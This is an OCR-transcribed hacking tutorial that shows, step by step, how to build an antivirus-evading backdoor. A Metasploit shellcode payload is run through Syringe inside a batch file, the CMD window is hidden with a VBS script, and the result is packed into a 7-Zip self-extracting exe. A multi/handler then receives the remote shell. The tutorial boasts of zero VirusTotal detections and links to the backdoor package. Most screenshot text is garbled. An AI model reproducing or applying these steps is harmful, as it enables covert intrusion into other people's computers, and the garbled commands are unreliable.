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Today i am explaining a clever and relatively little known way to bypass
antivirus without using any encoder.

| am using syringe for directly running my shell-code.

The method that this tool uses is opens a location in its address space with
a call to VirtualAlloc with permissions of read, write, and execute.
VirualAlloc is a Windows specific call that reserves a region of memory with
the specified permissions. The read and write permissions are required
because the alpha numeric shell code will change itself as it is being
executed. Syringe then copies the user supplied shellcode string into the
resulting memory buffer from VirtualAlloc. Finally, Syringe executes the
shellcode via an Assembly stub that takes a pointer to the shell code as its
only parameter before calling it. One of the very nice features of this tool is
that the stub used to execute the shell code is wrapped in a Structured
Exception Handler (SEH) block, allowing the program to execute gracefully,
even if the shellcode encounters an error.



Req. -
backdoor.bat (included in package, link below)
i.vbs
syringe.exe
MakeExeFromBat.bat
7za.exe
7zsd.sfx
metasploit (in backtrack, link below)
opt.

Resource hacker



1. First we need to go and generate a payload we can copy and use in our
backdoor.

using this command

Applications Places System q Sat Sep 8,

X root@bt: ~
File Edit View Terminal Help

LPORT

root@bt: ~ =] [root@bt: ~]



2. now copy the generated payload and paste it in the backdoor.bat and
take care to replace the payload and not removing "> s.bat" after it.

# backdoor - Notepad =l
Fil= Edit Format Wiew Help

@ocho off =]
echo syringe.exe -3 EETEEEEEEEEEEEEEEELevRE o gV ey == ==]=] WXNTUPWRS0

wscript .whs s.bat

=
4| | »

ﬁ}'startl (_']_,3 swindows Expl. .. v| B C\WINDOWSisy... | @ Downloads - Mozi, .. | @; bat to exe hidden, .. II .| backdoor - Mot... | o " 206 PM




3. now open command prompt and run MakeExeFromBat.bat with
following arguments

Search 7 Falders

JE— — backdoar

| S

paper "7 = backdoor

C:~\Documents and Settings“test\Desktop~AUsbatex>MakeExeFromBat _bat backdoor. bat I’
i.vhs syringe.exe .
Make EXE From BAT

Written by: Jason Faulkner

SysadminGeek.com

7-Zip <A> 4.65 Copyright (c> 1999-200% Igor Pavlov 26B89-82-03
Scanning

Creating archive C:n\DOCUME™1~testsLOCALS™1~Temp~MakeERE.7=z

Compreszing backdoor._bat
Compr i_vhs
Compp syringe _exe

Everything is Ok
C:“Documents and Settings“test DesktoprAlsbatex ?zsd._sfx
C:=DOCUME™1xtest“\LOCALS™ 1 \Temp~MakeEXE_config.txt
C:\DOCUME™1\test\LOCALS"1.Temp\MakeERE. 7=

1 fileds> copied.

CG:Documents and Settings“test\Desktop“AUsbatex>

: 'Start| () '3 Windows Explorer vl[m C:\ WINDOWS' system... | backdoor - Motepad | & Q_ﬁ 2:08 FM

it will create an exe file with a 7z icon as i am using it to create a SFX

archive.



4. Now run multi handler using this command

r] Satsep 8, 9:09 AM &,

File Edit View Terminal Help
i~ cli multi/l

W [Z] root@bt: ~ root@bt: ~ =] root@bt: ~




wait a little it'll start listening

Applications Places System [>_] K Sat Sep 8, 9:10 AM
% rnut@ht: ~
File Edit View Terminal Help

Warning:

handler...

£ root@bt: ~ ] root@bt: ~




5. Now lets run our exe file.

File Edit ‘iew Favorites Tools  Help

@Back - @ ~ [j'} -\ Search || Folders ‘ I_;y Lﬁf x ‘) | e

Address Iuj Ci\Documents and SettingsitestiDeskiop)Avibatex

|_ 7za MakeExeFromBat Fzed.sfx
7-Zip Standalone Console O M3-D03 Batch File SF File
| | Igor Paviov b |z 36 KB
|_ = backdoor i
syringe MS-D03 Batch File WEScripk Script File
M| 1KE LEE
paper
Texk Document
ZKE

,%Startl I(‘_'._'JB Windows Explorer - B CIWINDOWS\system32,., | | backdoor - Motepad

W 8% Z0PM



And We got a shell!

Applications Places System [ f] Sat Sep 8, 9:10 AM
B root@bt: ~
File Edit View Terminal Help

[ root@bt: ~ =] root@bt: ~ =] root@bt: ~




Now lets scan our backdoor with virustotal

) Antivirus scan for e7d73ac19c6009fc3a568835b868dBas at UTC - YirusTotal - Mozilla F

File Edit “ew Go Bookmarks Tools Help L

<]I| hd L[\) - @ @ @ I" https: | fwww  virustatal, com|File/br58784deeeba04 3932a0b204b95449 ﬁj @ Go I@,

’ Getting Started L:l Latest Headlines

Documentation

o total
SHAZEE: bcaB784dceebald3I93eabbo04b95 4492437 a3bal c37fdEcd3cear 1220883840
File narne: backdoor.exe

Detection ratio; 0742

Analysis date: 2012-08-09 09:52:48 UTC (O minutes ago )

-
| | »

| Transferting data from chart, googleapis.com, .. |_ | vy, virustotal.com (4
E\?Startl ()| 3 Windows Explaorer v| B C:\WINDOWSsyskems, . | «.| backdaar - Motepad “@) Antivirus scan for e7... | W 213

As you can see we got 0 detection!

if you wanna change icon and discription just use resource hacker(link
below).

Q: Why i am not using batch to exe converter?

A: Everything you compile with it gets detected by some antivirus programs.

Q: Why i am using 7zip?



A: To create SFX file from our .bat file.

Q: Why i am using this vbs file?

A: Just to hide the CMD window started by bat file. | know there are better
ways.

Links:

All files:
http://www.mediafire.com/?kamwdi4ci96c2q7

Resource hacker:
Http://www.angusj.com/resourcehacker/reshack setup.exe

Metaspoit:

www.metasploit.com

Thanks for your time.

InfOg33k


http://www.mediafire.com/?kamwdi4ci96c2q7
file:///C:/Users/Hasan/Documents/www.metasploit.com
http://www.angusj.com/resourcehacker/reshack_setup.exe

